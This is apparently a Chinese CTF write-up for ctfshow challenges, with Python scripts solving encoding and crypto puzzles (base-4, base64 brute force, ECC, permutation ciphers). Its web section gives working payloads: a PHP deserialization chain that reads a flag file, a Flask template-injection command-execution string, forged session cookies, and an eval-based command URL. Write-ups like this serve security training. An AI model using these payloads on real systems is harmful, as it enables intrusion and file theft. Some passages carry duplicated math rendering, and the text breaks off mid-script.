城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?您让我看到了废墟中挣扎着抬起头的青草。谢谢您。"
x = x.split('。')
x = [i.split('?')for i in x]
s = []
for i in x:
for j in i:
s.append(j)
s.remove('')
t = list(set(s))
for i in t:
print(i, s.count(i))
四句话重复出现,所以猜测可能搞了个四进制,然后爆爆爆
import itertools
from Crypto.Util.number import *
x = "我必须站在这里。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有听见孩子们的悲鸣?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?您让我看到了废墟中挣扎着抬起头的青草。谢谢您。"
x = x.split('。')
x = [i.split('?') for i in x]
s = []
for i in x:
for j in i:
s.append(j)
s.remove('')
t = ['你有没有听见孩子们的悲鸣', '你是否想过......朋友不再是朋友,家园不再是家园', '你有没有感受到城市在分崩离析',
'你不曾注意阴谋得逞者在狞笑']
for k in itertools.permutations('0123'):
m = ''
for i in s:
if i == t[0]:
m += k[0]
elif i == t[1]:
m += k[1]
elif i == t[2]:
m += k[2]
elif i == t[3]:
m += k[3]
m = long_to_bytes(int(m, 4))
if b'ctfshow' in m:
print(m)
# b'ctfshow{xingbucengxing_yibuzaiyi_zaikelianyilianba}'
ctfshow{xingbucengxing_yibuzaiyi_zaikelianyilianba}
发现大部分文本每隔四个就是5,而中文字符经过unicode编码,经过十六进制和二进制的表达,最后映射在base64中的字符大部分是5;还发现居然没有大写字母,所以猜测这段文本被lower()了,所以开始了爆破,再base64解码后找有意义的文本
# 丑陋的代码
import base64
x = '5li65lqg6ziy5q2i5asn5a625oml5yqo5pon5l2c5oir5bey57up5oqk5byx6i6x6zibkgzsywcp6jep5zyo6l+z5q616k+d55qe5p+q5liq5zyw5pa55lqg77ym5l2g5lus5lin5lia5a6a5om+5b6x5yiw5zof77ym5zi75zi75zi744cc5awx56we5p2l5pwy5l2g5a626zeo77ym5bim552a56ev57sv5zkm54m55b6b77ym5z2m55m95luo5a695oqx5ous5luo5lil77ym5lin5zcs6k+d57uz5l2g5omt5lia6zki44cckgzsywcp5zyo5zoq6yem5zgakgzsywcp5zyo5zoq6yem77ymkgzsywcp5zyo6ykj5bcp5pyl5y+l55qe55y8552b6yem44cc5asp5a+55zyw77ym6zuo5a+56aoo44cc5asn6zmg5a+56zw/56m644cc5bgx6iqx5a+55rw35qcr77ym6lwk5pel5a+56iun56m544cc6zu36zqq6zqq77ym6zu+6jkz6jkz44cc5bya5bic5asn5zcj5lih5lql5lqo6yca44cc5bmz5lue5bmz5lue5bmz5bmz5lue77ym5lue5bmz5lue5bmz5lue5lue5bmz77ym5lue5lue5bmz44cc5lyx5oma5zgo55+l77ymj2n0znnob3cn55qekgzsywcp5yw35ash5lul5lil5yeg5liq54m554k577ym5lia5piv5lulj2n0znnob3cn5bya5as077ym5zco6z2i6lef552a6iqx5ous5y+35zkm5yeg5liq5awh5ocq55qe5lic6kw/77ym6ykj5liq5lic6kw/5y+r5ygaj3v1awqn77ym5li65lua5lmi5ymn6z2i6kab6k+06l+z5lmi5asa5bqf6k+d5zgi5piv5zug5li65lih5lia5lin6k+05bqf6k+d6l+z5liq6aky5bcx5asq5aw95yga5lqg6l+z5oco5lmi5y+v5lul5zgi77ym5lih5lia5pyj5lq65oqk6l+z5liq5lic6kw/5ps+5zyoy3lizxjjagvm6yem5lia5oqk5qkt5l2g5piv5qkt5lin5ye65p2l77ym54s25zco5yan57uz5oir6l+z5lmi5lia5liq6iux5pah5a2x5q+n5lia5liq6iux5pah5a2x5q+n55qe5ps55asn5bcp5yaz77ym6l+z5oco5lmi6io96kgm5zgi77ym6l+z6ikv5a6a5piv5lin6kgm55qe5a+55lin5a+5iwn0znnob3d7ymfzzty0xzfz5asq6zq+5lqgisfj5pyn5lqgvsf95oma5lul5oir6l+z5zue5zc45y+w5pwz6k6t77ym5zyo5ymn5zco6yo95yqg5lqg5lia54k554k55lic5lic77ym6l+z5qc35bcx5lin6io95pyj5bii5ykf5oml5yqo5p2l5ps55lqg5a+55lin5a+55zga44cc5oir5y+j6kkl6yem5pyj5lia5liq5bcp6k6+5ash77ym5y+v5lul6k6/6zeu5yeg5lmo5ywo6yoo55qe5lq657g755+l6k+g44cc5oir5y2055so5a6d5lio5lin6k6k6k+g55qe5lq66l+b6kgm5q+r5peg5osp5lmj55qe5lqj6k6677ym5bm255yl5o6i5aes55qe54wn54mh44cc5b2x5zon57yw56il5pwi546h5pya5asn55qe5zug57sg77ym5lin5piv5l2/55so5l2v56en57yw56il6k+t6kia77ym6icm5piv5pio5pma5l2g55qe552h55yg5piv5zcm5ywf6laz44ccssb3b3jrighhcmqgzxzlcnlkyxkgc28gdghhdcbhbgwgd2hvigxvdmugbwugd2lsbcbizsbwcm91zcbvzibtzseh6z2i5zcr5a+56lgh57yw56il55qe6zeu6aky5piv77ym6buy6k6k5bim5pyj546v5akd44cc5l2g5y+q5ooz6kab5lia5liq6aaz6jwj77ym5l2g5piv5b6x5yiw5lqg5lia5y+q5ou/552a6aaz6jwj55qe5asn54yp54yp77ym55sa6iez6l+y5pyj5pw05liq5lib5p6x44cc5l2g5lin5piv6k6o5y6mj0phdmen77ym5l2g5y+q5piv6k6o5y6m5bel5l2c44cc6icm5bcx5zyo5q2k5pe25oir5bey57up5ooz5lin5ye66aqa6k+d5lqg6l+z5y+v5oco5lmi5yqe5zga77ym5oma5lul5oir5om+576k5y+l5b6b6zug5lqg5lia5lqb6aqa6k+d6l+z5qc35oir5bcx5lin55so57un57ut56cb5a2x5lqg44cctmlnahqgaxmgbmv2zxigzgfyay5jbib0agugbmlnahqsqwxiaxp6awegaxmgc3rpbgwgcmvkllrozsbqbhvzacbxaxn0zxjpysbpcybzdglsbcbwdxjwbgutd2hpdguusxqgagfzig5vdghpbmcgdg8gzg8gd2l0acbuawdodcbvcibkyxkutglrzsxjig1pc3mgew91lel0ighhcybub3roaw5nihrvigrvihdpdgggc3vuc2hpbmugb3igcmfpbi5jdcbkb2vzbid0igv2zw4gbwf0dgvyiglmihlvdsbrbm93ig9yigrvbid0igtub3cuqwx0ag91z2ggssb3awxsihryesb0bybszxqgew91igtub3csvghpbmsgb2ygaxquu28gssbyzwpvawnlzc4g6bur5asc5yw25a6e5luo5p2l5bcx5lin5piv6bur55qe77ym6bur5asc6yem77ym5zci5qyi6iqx6l+y5piv57qi55qe44cc5q+b57us57us55qe57sr6jek6iqx6l+y5piv57sr55m96imy55qe77ym5zkm6bur5asc6l+y5piv55m95asp5rkh5pyj5ywz57o744cc5bcx5yop77ym5oir5ooz5l2g77ym5zkm6bur5asc6l+y5piv55m95asp5rkh5pyj5ywz57o777ym5zkm5pm05asp5zkm5lil6zuo5rkh5pyj5ywz57o777ym55sa6iez5zkm5l2g55+l6ygt5lin55+l6ygt6yo95rkh5pyj5ywz57o777ym5bc9566h5oir6l+y5piv5lya5bc96yep6k6p5l2g55+l6ygt77ym5ooz5yiw6l+z6yem77ym5lqo5piv5qyi5zac44cc'
x = [x[i:i + 4] for i in range(0, len(x), 4)]
y = []
for i in x:
s = []
for j in i:
if j.isdigit():
s.append(j)
else:
s.append([j, j.upper()])
y.append(s)
for i in y:
res = ''
print()
for a in i[0]:
for b in i[1]:
for c in i[2]:
for d in i[3]:
try:
print(base64.b64decode((a + b + c + d).encode()).decode(), end=', ')
except:
pass
部分文本
对, 对,
#t, !ct,
fsh, fsN,
ow{, w{,
bas, baY,
fܴ, e64,
ős, őY, _1s, _1Y,
太, 夐,
难, 难,
亠, 了,
!!c, !!I,
朧, 服,
亠, 了,
U!},
扚, 所,
以, 介,
最后拼拼凑凑拿到flag
ctfshow{base64_1s太难了!!I服了U!}
文件包含
http://*.challenge.ctf.show/?img=ZmFjZS5wbmc=)
base64b编码找index.php页面
base64解码拿flag
原生类的利用
源码给出很多类,直接发现gBoBg的__toString是最好利用的,直接利用原生类查找文件并读取就好了,这里没有限制可以直接找到根目录下的flag,然后读取就可以了
poc:
class gBoBg{
public $name;
public $file;
public $coos;
public function __construct() {
$this->name = 1;
$this->coos = 'SplFileObject';
$this->file = '/f1agaaa';
}
public function __toString(){
if(isset($this->name)){
echo 1;
$a = new $this->coos($this->file);
echo $a;
}else if(!isset($this -> file)){
return $this->coos->name;
}else{
$aa = $this->coos;
$bb = $this->file;
return $aa();
}
}
}
class w_wuw_w{
public $aaa;
public $key;
public $file;
public function __construct(){
$this->file = "";
$this->aaa = new gBoBg();
}
public function __wakeup(){
if(!preg_match("/php|63|\*|\?/i",$this -> key)){
$this->key = file_get_contents($this -> file);
}else{
echo "不行哦";
}
}
public function __destruct(){
echo $this->aaa;
}
public function __invoke(){
$this -> aaa = clone new EeE;
}
}
// $_ip = $_SERVER["HTTP_AAAAAA"];
// unserialize($_ip);
$a = new w_wuw_w();
echo (serialize($a));
unserialize(serialize($a));
// $p = 'O%3A7%3A%22w_wuw_w%22%3A3%3A%7Bs%3A3%3A%22aaa%22%3BO%3A5%3A%22gBoBg%22%3A4%3A%7Bs%3A4%3A%22name%22%3Bi%3A1%3Bs%3A4%3A%22file%22%3Bs%3A3%3A%22%2Ff%2A%22%3Bs%3A4%3A%22coos%22%3Bs%3A17%3A%22DirectoryIterator%22%3Bs%3A11%3A%22%00gBoBg%00eeee%22%3Bs%3A3%3A%22-_-%22%3B%7Ds%3A3%3A%22key%22%3BN%3Bs%3A4%3A%22file%22%3Bs%3A0%3A%22%22%3B%7D';
// unserialize(urldecode($p));
payload:
O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";i:1;s:4:"file";s:8:"/f1agaaa";s:4:"coos";s:13:"SplFileObject";}s:3:"key";N;s:4:"file";s:0:"";}
源码:
from flask import Flask
from flask import render_template_string,render_template
app = Flask(__name__)
@app.route('/hello/')
def hello(name=None):
return render_template('hello.html',name=name)
@app.route('/hello/' )
def hellodear(name):
if "ge" in name:
return render_template_string('hello %s' % name)
elif "f" not in name:
return render_template_string('hello %s' % name)
else:
return 'Nonononon'
只要实现“ge”在payload或者payload里面没有f就行,hackbar选一个打就完事了
payload:
{{g.pop.__globals__.__builtins__['__import__']('os').popen('cd ..;cat *l*').read()}}
注册登录拿源码app.py
# app.py
from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response
app = Flask(__name__)
app.secret_key = 'S3cr3tK3y'
users = {
'admin': {'password': 'LKHSADSFHLA;KHLK;FSDHLK;ASFD', 'role': 'admin'}
}
@app.route('/')
def index():
# Check if user is loggedin
if 'loggedin' in session:
return redirect(url_for('profile'))
return redirect(url_for('login'))
@app.route('/login/', methods=['GET', 'POST'])
def login():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users and password == users[username]['password']:
session['loggedin'] = True
session['username'] = username
session['role'] = users[username]['role']
return redirect(url_for('profile'))
else:
msg = 'Incorrect username/password!'
return render_template('login2.html', msg=msg)
@app.route('/register/', methods=['GET', 'POST'])
def register():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users:
msg = 'Account already exists!'
else:
users[username] = {'password': password, 'role': 'user'}
msg = 'You have successfully registered!'
return render_template('register2.html', msg=msg)
@app.route('/profile/')
def profile():
if 'loggedin' in session:
return render_template('profile2.html', username=session['username'], role=session['role'])
return redirect(url_for('login'))
@app.route('/show/')
def show():
if 'loggedin' in session:
return render_template('show2.html')
@app.route('/download/')
def download():
if 'loggedin' in session:
filename = request.args.get('filename')
if 'filename' in request.args:
return send_file(filename, as_attachment=True)
return redirect(url_for('login'))
@app.route('/hello/')
def hello_world():
try:
s = request.args.get('eval')
return f"hello,{eval(s)}"
except Exception as e:
print(e)
pass
return "hello"
@app.route('/logout/')
def logout():
session.pop('loggedin', None)
session.pop('id', None)
session.pop('username', None)
session.pop('role', None)
return redirect(url_for('login'))
if __name__ == "__main__":
app.run(host='0.0.0.0', port=8080)
秘钥泄露了出来,flask session伪造role为admin
.eJyrVsrJT09PTcnMU7Iy1FEqys9JVbJSSkzJBQroKJUWpxblJeYihGoBhUwP8Q.ZCpWkw.ZarSk9Q-vch3R8_SvIL2klcfPls
/hello路由下可以直接命令执行:
/hello?eval=__import__('os').popen('cat /f*').read()
密文如下:
4C455A5645334C44474A55484D5A42544F5132574956525A50464E464F4E4C474D4656454D334359474A554751564B4949493255535532464E42544643504A35
CyberChef一把(无敌的magic)
ctfshow{yu_ren_j1e_haPpy!!!}
e n c r y p t 1 ( ) encrypt1() encrypt1()函数就是交换位子,换来换去又换回来了,所以没啥影响
e n c r y p t 2 ( ) encrypt2() encrypt2()函数也是换位子,根据 S _ B O X S\_BOX S_BOX中的元素进行重新排序,逆一下子就好了
S_BOX = [9, 31, 32, 38, 20, 1, 22, 4, 8, 2, 11, 21, 7, 18, 46, 23, 34, 3, 19, 12, 45, 30, 27, 37, 5, 47, 28, 36, 0, 43,
39, 10, 29, 14, 40, 24, 33, 16, 17, 6, 42, 15, 26, 41, 44, 25, 35, 13]
c = [99, 111, 102, 11, 107, 49, 11, 53, 121, 48, 114, 117, 11, 95, 112, 95, 109, 115, 11, 95, 101, 95, 119, 117, 79,
123, 111, 48, 110, 95, 121, 116, 121, 125, 116, 11, 119, 11, 97, 67, 11, 11, 11, 11, 11, 99, 110, 104]
for k in range(16):
tmp, c = c, []
for i in range(len(S_BOX)):
c.append(tmp[S_BOX.index(i)])
print(''.join([chr(i) for i in c]))
# ctfshow{y0u_c5n_make_y0u1_own_CryptO}
ctfshow{y0u_c5n_make_y0u1_own_CryptO}
a s s e r t m . b i t _ l e n g t h ( ) < 200 A = ( 2022 − 2023 ∗ m ) % B l e a k = p o w ( 2 , 2023 , B ) assert\ m.bit\_length() < 200\\ A = (2022 - 2023 * m) \% B \\ leak = pow(2, 2023, B) assert m.bit_length()<200A=(2022−2023∗m)%Bleak=pow(2,2023,B)
m m m是小于200比特的,而 B B B是 1334 + 1334+ 1334+的,200比特不值一提,所以有 B − A = 2023 ∗ m − 2022 B-A=2023*m-2022 B−A=2023∗m−2022, A A A和 B B B很接近
又 l e a k + k ∗ B = 2 2023 leak+k*B = 2^{2023} leak+k∗B=22023, 所以 k = 2 2023 − l e a k B = 2 2023 − l e a k A k = \frac {2^{2023}-leak}{B}= \frac{2^{2023}-leak}{A} k=B22023−leak=A22023−leak,有了 k k k就能求 B B B了,然后就简简单单
from Crypto.Util.number import *
A = 493275281479560936332761096886786925792234184811353209227551802099268192839677496844153534128991899414803550843408607188612593757622064753867565869035222715177143938385039508273050267347710495512806264863554858016145161165422812554800693811328453743229819656381224407015421235005940088439590887928051969351426291843586132741521121351667152673680122929827805479163871436776753859965413192837591532468372
leak = 238829196127128263156194898141748280130190920343265228257398802867203846004703877952990524473329125233083096275276064071930416561616135910190674099345267027039386328203653489152769309498199556401574021633071022874689081585677578010276529507102304828451681000682208089162940529052283763507244593173690786957816545746540436261888398732172965945762569416702401859253725696471593023885944262561159982327952
kb0 = 2 ** 2023 - leak
B = kb0 // (kb0 // A)
m = (B - A + 2022) // 2023
print(long_to_bytes(m) + long_to_bytes(B))
# b'ctfshow{UNKNOWN_MODULUS_T0_BR1NG_L3UGHTER_AND_J@Y_TO_TH3_W0RLD}\x0c]\xee)\xa5\xb7(\xe1\x9a\xc5\x0c\xf6\x1d\xcbH\xcbz\xf9\x9b\xa8y\x9e\xc0\xd8\x82\xe5\xf5\xb2\x9b\xccQ*\x1b\x04\x8c\xcf\xb4\xb1\x1bT\xfa\x07\xee\xe5\x8bv\xdf\xe0B\xfb\x8e{\x0e\x98t\xda\xfa7\xbaeK\x03\xd9\xe1\xdf\xa7")\x8e\xf0g\xcc\xe8\x01\xe5\xb8\x9c\xeflD\x06\xfc\xab"\x8eq\x7f\x944\xfa\xdeO7\xec\x9d\xcf_\xd3\x17\xffh\x83k\xe1\x0c\xfd\xf0\xee\xcf\\pu\xe5\xa9x\xcd4#\n]\xf8\x8d\xf0\x13\xa5\\Dg'
ctfshow{UNKNOWN_MODULUS_T0_BR1NG_L3UGHTER_AND_J@Y_TO_TH3_W0RLD}
第一部分
m1 = int(str(flag)[:5]) - 4585
E = EllipticCurve(GF(p), [a, b])
X = E.lift_x(m1)
Y = 7 * X
m 1 m1 m1是一个五位数,可以爆破一下子
import tqdm
p = 71397796933602469825964946338224836258949974632540581233301840806613437378503
a = 106105288190268015217241182934677375171023341761047638573248022053052499733117
b = 76170541771321874396004434442157725545076211607587599314450304327736999807927
E = EllipticCurve(GF(p), [a, b])
for m1 in tqdm.tqdm(range(10000, 99999)):
try:
X = E.lift_x(m1 - 4585)
Y = 7 * X
if Y[0] == 33237936857741483513705672980652927705102229733798436323453609986072499230366:
print(m1)
break
except:
pass
# 62428
第二部分
k = getPrime(256)
K = k * G
r = getPrime(256)
c1 = m + r * K
c2 = r * G
w2 = m[0] * m2
已知 k , c 1 , c 2 , w 2 k,c1,c2,w2 k,c1,c2,w2,有 m = c 1 − k ∗ c 2 m = c1-k*c_2 m=c1−k∗c2, m 2 = w 2 ∗ i n v e r s e ( i n t ( m [ 0 ] ) , p ) m2 = w2 * inverse(int(m[0]), p) % p m2=w2∗inverse(int(m[0]),p)
from Crypto.Util.number import inverse, long_to_bytes
p = 71397796933602469825964946338224836258949974632540581233301840806613437378503
a = 106105288190268015217241182934677375171023341761047638573248022053052499733117
b = 76170541771321874396004434442157725545076211607587599314450304327736999807927
k = 58155941823118858940343657716409231510854647214870891375273032214774400828217
c1 = (37414446283406201193977113266234367761786780230360175925999700345196415953455, 17037724145039910971426670298726906655653040365428438334942732090559637519851)
c2 = (60560423732267272277570046154733119097475794979191838027420415113112056962844, 54372226143125971429691267751299496959531971082475860532181772357190222938465)
w2 = 16315249811700998894876359855091105114973337718373913477026230968747515636405
E = EllipticCurve(GF(p), [a, b])
m1 = 62428
c1 = E(c1)
c2 = E(c2)
m = c1 - k * c2
m2 = w2 * inverse(int(m[0]), p) % p
print(long_to_bytes(int(str(m1) + str(m2))))
# b'ctfshow{the_answer_is_it}'
ctfshow{the_answer_is_it}
已知 m m m异或上 p p p,但是 m m m是256位的,这就相当于已知 p p p的高位,然后就是 c o p p e r s m i t h coppersmith coppersmith求 p p p的高位
from Crypto.Util.number import long_to_bytes
